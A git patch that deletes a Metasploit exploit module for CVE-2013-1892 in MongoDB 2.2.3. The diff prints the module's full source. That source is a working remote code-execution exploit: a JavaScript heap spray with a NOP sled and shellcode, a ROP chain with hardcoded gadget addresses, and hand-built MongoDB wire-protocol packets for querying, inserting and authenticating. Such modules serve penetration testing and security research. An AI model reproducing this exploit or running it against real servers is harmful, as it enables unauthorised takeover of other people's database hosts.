From eec386de60a2a096dcf670de496e6b12acbc21e9 Mon Sep 17 00:00:00 2001 From: agix Date: Thu, 28 Mar 2013 12:05:49 +0100 Subject: [PATCH] fail in git usage... sorry --- .../linux/misc/mongod_native_helper.rb | 311 ------------------ 1 file changed, 311 deletions(-) delete mode 100644 modules/exploits/linux/misc/mongod_native_helper.rb diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb deleted file mode 100644 index 058f046e2b..0000000000 --- a/modules/exploits/linux/misc/mongod_native_helper.rb +++ /dev/null @@ -1,311 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::Exploit::Remote::Tcp - - def initialize(info={}) - super(update_info(info, - 'Name' => 'MongoDB nativeHelper.apply Instruction Pointer Control', - 'Description' => %q{ - This module exploit a feature in spiderMonkey to control Instruction Pointer. - }, - 'Author' => - [ - 'agix @agixid' - ], - 'References' => - [ - [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ], - [ 'CVE', '2013-1892' ], - ], - 'Platform' => ['linux'], - 'Targets' => - [ - [ 'Linux - mongod 2.2.3 - 32bits', - { - 'Arch' => ARCH_X86, - 'mmap' => [ - 0x0816f768, #mmap_64@plt - 0x0c0c0c0c, #NOPSLED+SHELLCODE - 0x0c0c0000, - 0x00001000, - 0x00000007, - 0x00000031, - 0xffffffff, - 0x00000000, - ], - 'ret' => [0x08055a70], #ret - 'gadget1' => "0x836e204", #mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c] - #THIS GADGETS NEED TO BE COMPOSED WITH <0x80 BYTES ONLY - 'gadget2' => "\\x58\\x71\\x45\\x08", #xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP - 'gadget3' => "\\x26\\x18\\x35\\x08", #add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2 - 'gadget4' => "\\x6c\\x5a\\x05\\x08", #pop eax / ret - 'gadget5' => "\\x58\\x71\\x45\\x08" #xchg esp,eax - } ] - ], - 'DefaultTarget' => 0, - 'License' => MSF_LICENSE - )) - - register_options( - [ - Opt::RPORT(27017), - OptString.new('DB', [ true, "Database to use", "admin"]), - OptString.new('Collection', [ false, "Collection to use (it must to exist). Better to let empty", ""]), - OptString.new('Username', [ false, "Login to use", ""]), - OptString.new('Password', [ false, "Password to use", ""]) - ], self.class) - end - - def exploit - begin - connect - if require_auth? - print_status("Mongo server #{datastore['RHOST']} use authentication...") - if !datastore['Username'] || !datastore['Password'] - disconnect - return - end - if do_login==0 - disconnect - return - end - else - print_good("Mongo server #{datastore['RHOST']} doesn't use authentication") - end - - if datastore['Collection'] && datastore['Collection'] != "" - collection = datastore['Collection'] - else - collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') - if read_only?(collection) - print_error("#{datastore['Username']} have readOnly access, please provide an existent collection") - disconnect - return - else - print_good("New document created in collection #{collection}") - end - end - print_status("Let's exploit, heap spray could take some time...") - - my_target = target - - shellcode = Rex::Text.to_unescape(payload.encoded) - - mmap = my_target['mmap'].pack("V*") - - ret = my_target['ret'].pack("V*") - - gadget1 = my_target['gadget1'] - - - gadget2 = my_target['gadget2'] - gadget3 = my_target['gadget3'] - gadget4 = my_target['gadget4'] - gadget5 = my_target['gadget5'] - - shellcode_var="a"+Rex::Text.rand_text_hex(4) - sizechunk_var="b"+Rex::Text.rand_text_hex(4) - chunk_var="c"+Rex::Text.rand_text_hex(4) - i_var="d"+Rex::Text.rand_text_hex(4) - array_var="e"+Rex::Text.rand_text_hex(4) - - ropchain_var="f"+Rex::Text.rand_text_hex(4) - chunk2_var="g"+Rex::Text.rand_text_hex(4) - array2_var="h"+Rex::Text.rand_text_hex(4) - - #NOPSLED+SHELLCODE HEAPSPRAY - payloadJS = shellcode_var+'=unescape("'+shellcode+'");' - payloadJS << sizechunk_var+'=0x1000;' - payloadJS << chunk_var+'="";' - payloadJS << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } ' - payloadJS << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));' - payloadJS << array_var+'=new Array();' - payloadJS << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } ' - - #RETCHAIN+ROPCHAIN HEAPSPRAY - payloadJS << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");' - payloadJS << chunk2_var+'="";' - payloadJS << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } ' - payloadJS << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));' - payloadJS << array2_var+'=new Array();' - payloadJS << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } ' - - #Trigger and first ROPCHAIN - payloadJS << 'nativeHelper.apply({"x" : '+gadget1+'}, ' - payloadJS << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);' - - - request_id = Rex::Text.rand_text(4) - - packet = request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" #flags - packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection) - packet << "\x00\x00\x00\x00" #numberToSkip (0) - packet << "\x01\x00\x00\x00" #numberToReturn (1) - - where = "\x02\x24\x77\x68\x65\x72\x65\x00" - where << [payloadJS.length+4].pack("L") - where << payloadJS+"\x00" - - where.insert(0, [where.length + 4].pack("L")) - - packet += where - packet.insert(0, [packet.length + 4].pack("L")) - - sock.put(packet) - - sleep(10) - disconnect - rescue ::Exception => e - print_error "Unable to connect: #{e.to_s}" - return - end - end - - def require_auth? - request_id = Rex::Text.rand_text(4) - packet = "\x3f\x00\x00\x00" #messageLength (63) - packet << request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" #flags - packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd) - packet << "\x00\x00\x00\x00" #numberToSkip (0) - packet << "\x01\x00\x00\x00" #numberToReturn (1) - #query ({"listDatabases"=>1}) - packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" - - sock.put(packet) - response = sock.recv(1024) - - have_auth_error?(response) - end - - def read_only?(collection) - request_id = Rex::Text.rand_text(4) - _id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02" - key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" - value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" - - insert = _id+key+[value.length].pack("L")+value+"\x00" - - packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength - packet << request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document) - packet << "\x00\x00\x00\x00" #flags - packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection) - packet << [insert.length+4].pack("L") - packet << insert - - sock.put(packet) - - request_id = Rex::Text.rand_text(4) - - packet = [datastore['DB'].length + 61].pack("L") #messageLength (66) - packet << request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd4\x07\x00\x00" #opCode (2004 Query) - packet << "\x00\x00\x00\x00" #flags - packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) - packet << "\x00\x00\x00\x00" #numberToSkip (0) - packet << "\xff\xff\xff\xff" #numberToReturn (1) - packet << "\x1b\x00\x00\x00" - packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" - - sock.put(packet) - - response = sock.recv(1024) - have_auth_error?(response) - end - - def do_login - print_status("Trying #{datastore['Username']}/#{datastore['Password']} on #{datastore['DB']} database") - nonce = get_nonce - status = auth(nonce) - return status - end - - def auth(nonce) - request_id = Rex::Text.rand_text(4) - packet = request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" #flags - packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) - packet << "\x00\x00\x00\x00" #numberToSkip (0) - packet << "\xff\xff\xff\xff" #numberToReturn (1) - - #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} - document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" - document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" - document << [datastore['Username'].length + 1].pack("L") # +1 due null byte termination - document << datastore['Username'] + "\x00" - document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" - document << nonce + "\x00" - document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" - document << Rex::Text.md5(nonce + datastore['Username'] + Rex::Text.md5(datastore['Username'] + ":mongo:" + datastore['Password'])) + "\x00" - document << "\x00" - #Calculate document length - document.insert(0, [document.length + 4].pack("L")) - - packet += document - - #Calculate messageLength - packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength - sock.put(packet) - response = sock.recv(1024) - if have_auth_error?(response) - print_error("Bad login or DB") - return 0 - else - print_good("Successful login on DB #{datastore['db']}") - return 1 - end - - - end - - def get_nonce - request_id = Rex::Text.rand_text(4) - packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length) - packet << request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" #flags - packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) - packet << "\x00\x00\x00\x00" #numberToSkip (0) - packet << "\x01\x00\x00\x00" #numberToReturn (1) - #query {"getnonce"=>1.0} - packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" - - sock.put(packet) - response = sock.recv(1024) - documents = response[36..1024] - #{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} - nonce = documents[15..30] - end - - def have_auth_error?(response) - #Response header 36 bytes long - documents = response[36..1024] - #{"errmsg"=>"auth fails", "ok"=>0.0} - #{"errmsg"=>"need to login", "ok"=>0.0} - if documents.include?('errmsg') || documents.include?('unauthorized') - return true - else - return false - end - end -end